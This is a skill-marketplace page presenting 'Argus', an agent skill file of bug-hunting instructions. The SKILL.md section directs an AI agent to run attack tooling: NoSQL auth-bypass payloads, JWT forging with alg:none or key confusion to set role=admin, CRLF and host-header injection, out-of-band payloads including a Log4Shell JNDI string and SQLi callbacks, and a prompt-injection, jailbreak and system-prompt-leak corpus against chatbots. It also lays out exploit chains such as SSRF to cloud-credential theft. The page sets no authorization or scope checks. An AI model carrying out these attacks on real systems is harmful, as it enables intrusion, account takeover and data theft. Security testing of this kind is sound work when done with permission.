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Argus

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awarexone
argus

Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might reach the server, a chatbot/agent, or any endpoint suspected of a blind/out-of-band bug.

Overview

Publisherawarexone
RepositoryAgentic-Bug-Hunter
Skill nameargus
Stars
4.9K
Forks
868
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by awarexone on GitHub. Read the source before you install it.

Installation

Install the Argus AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git /tmp/Agentic-Bug-Hunter
mkdir -p .claude/skills
cp -r /tmp/Agentic-Bug-Hunter/skills/argus .claude/skills/argus
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Argus in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Argus on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Argus is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

ARGUS — THE ALL-SEEING SCANNER SUITE

Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the NoSQL "db" surface, JWT forging, blind-bug confirmation via OOB (the eye that sees the invisible — unblocks an entire severity band), and automated LLM red-teaming. All pure-Python, no new deps. Core logic is offline-testable.


0. ROUTING — which tool for what

Signal on the targetTool / command
API reflects Origin, or ACAO/ACAC headers seen/cors
Param reaches a redirect / Location / log / response header/crlf
JSON login or {user,pass} body, Mongo/Mongoose stack/nosqli
Authorization: Bearer ey... / JWT in cookie or storage/jwt-scan
Suspected blind SSRF/XXE/SQLi/RCE (no in-band signal)/oob
Chatbot / agent / LLM feature/llm-redteam

1. CORS — /cors

bash
tools/cors_scanner.py https://api.target.com/me --cookie "session=..."
tools/cors_scanner.py -l recon/target.com/urls/api.txt --json

Sends crafted Origin headers, classifies Access-Control-Allow-Origin / Access-Control-Allow-Credentials:

  • CRITICAL — reflects attacker origin with ACAC: true → cookie-auth'd cross-origin read (account-data exfil).
  • HIGHnull origin trusted with credentials.
  • MEDIUM — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
  • Probes suffix/prefix regex bypass (target.com.evil, notarget.com) and subdomain trust (chains with takeover).

Always pass --cookie with a live session — the credentialed path is the win.

2. CRLF / host-header — /crlf

bash
tools/crlf_scanner.py "https://target.com/r?u=x" --host-header

Injects encoded CRLF (%0d%0a, double-encoded, UTF-8 overlong %E5%98%8A%E5%98%8D) trying to land Set-Cookie: crlftest=1 in the response. --host-header also tests Host / X-Forwarded-Host / Forwarded injection and flags attacker-host reflection in Location (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.

urllib strips raw \r\n from URLs by design — the encoded variants are what actually go on the wire.

3. NoSQL injection — /nosqli

bash
tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password
tools/nosqli_scanner.py --query "https://t/api/items?id=1"   # emits bracket variants
  • Operator auth-bypass: {"email":{"$ne":null},"password":{"$ne":null}}
  • Bracket syntax (Express/qs): email[$ne]=&password[$ne]=
  • $where time-based blind: {"$where":"sleep(5000)"} → server-side JS eval = CRITICAL

Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the $where payload delays the response ≥3.5 s.

4. JWT attacks — /jwt-scan (offline)

bash
tools/jwt_scanner.py "$TOKEN" --analyze
tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin
tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin
tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
  • --alg-none — strip signature, set alg to none/None/NONE/nOnE.
  • --confuse — RS256→HS256: re-sign with the server's public key as HMAC secret.
  • --crack — brute the HS256 secret.
  • --analyze — flags alg=none, missing exp, trust-bearing claims (role/is_admin/scope), kid (probe for traversal/SQLi).

Get the public key from /.well-known/jwks.json or /jwks.json. Replay the forged token against an authed endpoint — acceptance = auth bypass / privesc.

5. Out-of-band confirmation — /oob

The highest-leverage tool. Confirms blind bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.

bash
# 1. listener (prints your OOB domain, streams interactions)
tools/oob_listener.py --listen > inter.jsonl
# 2. payloads embedding a unique marker per injection point
tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
# 3. correlate received callbacks
tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json

Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL xp_dirtree / MySQL LOAD_FILE / Oracle UTL_HTTP / Postgres COPY…PROGRAM), RCE (curl/nslookup/backticks), and Log4Shell (${jndi:ldap://…} + ${lower:j} filter bypass). Needs interactsh-client (/arsenal interactsh-client for the install hint); payload generation + correlation work offline without it.

Why it matters: without OOB you cannot prove blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable.

6. LLM red-team — /llm-redteam

bash
tools/llm_redteam.py --url https://t/api/chat --field message
tools/llm_redteam.py --url https://t/api/chat \
  --template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \
  --response-path choices.0.message.content --category jailbreak

Fires a categorized corpus — prompt-injection, jailbreak, system-prompt-leak, data-exfil, indirect-injection, guardrail-bypass — and uses a canary token (RT_PWNED_xxxx) for reliable hit detection. --header "Authorization: Bearer ..." for authed bots.

A bare injection is Informational until chained. Escalate to chatbot IDOR, data exfil (the markdown-beacon hit proves a channel), or RCE if the agent has a code/tool capability. See web2-vuln-classes §11 and bug-bounty Agentic AI (ASI01–ASI10).


CHAINS

  • CORS credentialed read → harvest CSRF token / PII / API key → ATO.
  • Subdomain-trust CORS + subdomain takeover = clean credentialed-read exploit.
  • JWT forge (--alg-none/--confuse + --set role=admin) → privesc → IDOR sweep.
  • Blind SSRF (confirmed via /oob) → cloud metadata → credential theft.
  • LLM indirect injection → chatbot IDOR / exfil channel.

Frequently asked questions

What does the Argus AI skill do?

Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might rea...

Why use Argus on TypingMind?

Because you install it once and use it with any model. Argus is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Argus in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/argus. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Argus?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Argus?

As many as you like. As long as a model supports skills, you can use Argus with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Argus AI skill free?

Yes. It is published on GitHub by awarexone under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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